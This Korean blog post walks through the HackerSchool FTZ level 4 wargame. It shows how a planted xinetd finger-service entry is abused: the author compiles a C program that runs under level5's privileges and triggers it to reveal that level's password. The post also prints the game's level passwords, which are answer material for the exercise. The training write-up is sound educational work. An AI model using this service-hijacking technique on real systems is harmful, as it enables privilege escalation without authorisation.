[ftz] hackerschool level4 풀이

l hackerschool level4 풀이

실행 환경 : VMware Workstation 14 Player, Red Hat Linux 9.0

참고 도서 : 문제 풀이로 배우는 시스템 해킹 테크닉

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


login as: level4
level4@192.168.146.128's password:

 

 

 

level4 문제의 아이디인  level4 와 password인   suck my brain 을 입력하여 level4의 유저로 접속합니다.

 

 

 

[level4@ftz level4]$ ls -l
total 12
-rw-r--r--    1 root     root           50 Feb 24  2002 hint
drwxr-xr-x    2 root     level4       4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level4       4096 Sep 22 09:40 tmp

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/level4 ) 아래에 있는 디렉터리의 목록을 확인합니다.

목록들 중 hint 파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.

 

 

 

[level4@ftz level4]$ cat hint


누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!

 

 

 

cat 명령어를 사용하여 hint 파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.

 

 

 

[level4@ftz xinetd.d]$ cd /etc/xinetd.d
[level4@ftz xinetd.d]$ ls -l
total 80
-r--r--r--    1 root     level4        171 Sep 10  2011 backdoor
-rw-r--r--    1 root     root          560 Dec 19  2007 chargen
-rw-r--r--    1 root     root          580 Dec 19  2007 chargen-udp
-rw-r--r--    1 root     root          417 Dec 19  2007 daytime
-rw-r--r--    1 root     root          437 Dec 19  2007 daytime-udp
-rw-r--r--    1 root     root          339 Dec 19  2007 echo
-rw-r--r--    1 root     root          358 Dec 19  2007 echo-udp
-rw-r--r--    1 root     root          317 Dec 19  2007 finger
-rw-r--r--    1 root     root          273 Dec 19  2007 ntalk
-rw-r--r--    1 root     root          359 Dec 19  2007 rexec
-rw-r--r--    1 root     root          376 Dec 19  2007 rlogin
-rw-r--r--    1 root     root          429 Dec 19  2007 rsh
-rw-r--r--    1 root     root          317 Dec 19  2007 rsync
-rw-r--r--    1 root     root          310 Dec 19  2007 servers
-rw-r--r--    1 root     root          312 Dec 19  2007 services
-rw-r--r--    1 root     root          406 Dec 19  2007 sgi_fam
-rw-r--r--    1 root     root          261 Dec 19  2007 talk
-rw-r--r--    1 root     root          305 Sep 10  2011 telnet
-rw-r--r--    1 root     root          495 Dec 19  2007 time
-rw-r--r--    1 root     root          515 Dec 19  2007 time-udp

 

 

 

힌트에 따라 /etc/xinetd.d로 경로를 이동하여 내부의 파일을 확인해보았습니다. 확인 결과 모든 유저가 read만 가능한 backdoor라는 파일을 볼 수 있습니다.

 

 

 

[level4@ftz xinetd.d]$ cat backdoor
service finger
{
        disable = no
        flags           = REUSE
        socket_type     = stream
        wait            = no
        user            = level5
        server          = /home/level4/tmp/backdoor
        log_on_failure  += USERID
}

 

 

 

cat 명령어를 이용하여 backdoor 파일 내용을 확인한 결과 service finger이라는 것과 함께 여러 조건들을 볼 수 있습니다. 하나씩 분석해보도록 하겠습니다.

 

 

 

l finger란?

더보기

로컬 또는 원격 시스템의 사용자 계정정보를 확인하는 명령어입니다.

 finger [계정명] 을 사용하면 사용자 정보를 확인할 수 있기 때문에 보안상 서비스를 막아두는 것이 일반적입니다.

 finger @[원격서버] 를 사용하면 원격 서버에 현재 접속한 사용자의 정보를 보여줍니다.

 finger [계정명]@[원격서버] 를 사용하면 원격 서버에 접속한 계정의 사용자 정보를 보여줍니다.

 

finger 서비스를 사용하기 위해서는 원격 서버에서 finger 서비스가 동작해야 합니다.

아래는 finger level5를 실행했을 때의 결과입니다.

 

[level4@ftz xinetd.d]$ finger level5
Login: level5                           Name: Level 5
Directory: /home/level5                 Shell: /bin/bash
Never logged in.
No mail.
No Plan.

 

service finger : 서비스 이름을 나타냅니다. finger 서비스를 의미합니다.

disable = no : 데몬을 비활성화하지 않는다는 의미로 yes를 할 경우 해당 서비스를 가동하지 않는다는 것을 의미합니다.

socket_type = stream : TCP/IP 프로토콜을 선택합니다.

wait = no : 이미 서비스가 연결된 상태에서 다른 요청이 오면 바로 응답합니다. 다르게 표현하면 동시에 다수의 접속이 가능하다는 것을 의미합니다.

user = level5 : 해당 서비스가 level5의 권한으로 실행됩니다.

server = /home/level4/tmp/backdoor : user의 권한으로 실행될 파일을 의미합니다.

log_on_failure += USERID : 정상적인 기동에 실패한 경우 USERID를 로그에 기록합니다.

 

 

위 조건을 보면 disable이 no로 설정되어있기 때문에 finger 서비스를 사용할 수 있습니다.

조건들을 분석을 해본 결과 다른 것 보다 finger 서비스 실행 시 level5의 권한으로 /home/level4/tmp/backdoor의 파일이 실행된다는 것을 알 수 있습니다. 

 

 

 

 

 

[level4@ftz tmp]$ vi backdoor.c
#include  <stdlib.h>

int main(void){
        system("my-pass");
}

 

 

 

vi를 사용하여 backdoor.c 파일을 생성합니다. c 파일 안의 내용을  셸을 획득할 수 있도록 system("my-pass

") 명령 을 넣어줍니다.

 

 

 

[level4@ftz tmp]$ gcc -o backdoor backdoor.c
[level4@ftz tmp]$ ls -l
total 16
-rwxrwxr-x    1 level4   level4      11545 Sep 24 04:58 backdoor
-rw-rw-r--    1 level4   level4         60 Sep 24 04:58 backdoor.c

 

 

 

gcc를 사용하여 backdoor라는 실행 프로그램을 만들어줍니다.

 

 

[level4@ftz bin]$ cat /etc/services | grep finger
finger          79/tcp
finger          79/udp
cfinger         2003/tcp                        # GNU Finger

 

 

 

위 코드에서 볼 수 있듯이 finger는 79번 포트를 이용하여 서비스가 작동합니다. 따라서 공격할 때 79번 포트로 접속을 시도하면 되는 것입니다. 즉 79번 포트가 LISTEN 상태에 있어야 하고, 원격 포트로 접속해야 하기 때문에 아래와 같이 입력해주도록 하겠습니다.

 

 

 

[level4@ftz bin]$ finger level4@localhost
^[[H^[[J
Level5 Password is "what is your name?".

 

 

finger level 4@localhost라는 명령어를 통해서 level5의 권한으로 /home/level4/tmp/backdoor 파일이 실행되었고, 비밀번호를 획득하였습니다.

 

 

l level5 비밀번호

더보기

Level5 Password is "what is your name?".

 

'보안 > HackerSchool-ftz' 카테고리의 다른 글

[ftz] hackerschool level6 풀이  (0) 2019.11.04
[ftz] hackerschool level5 풀이  (0) 2019.10.05
[ftz] hackerschool level3 풀이  (0) 2019.09.29
[ftz] hackerschool level2 풀이  (0) 2019.09.27
[ftz] hackerschool level1 풀이  (0) 2019.09.25

이 글을 공유하기

댓글

Designed by JB FACTORY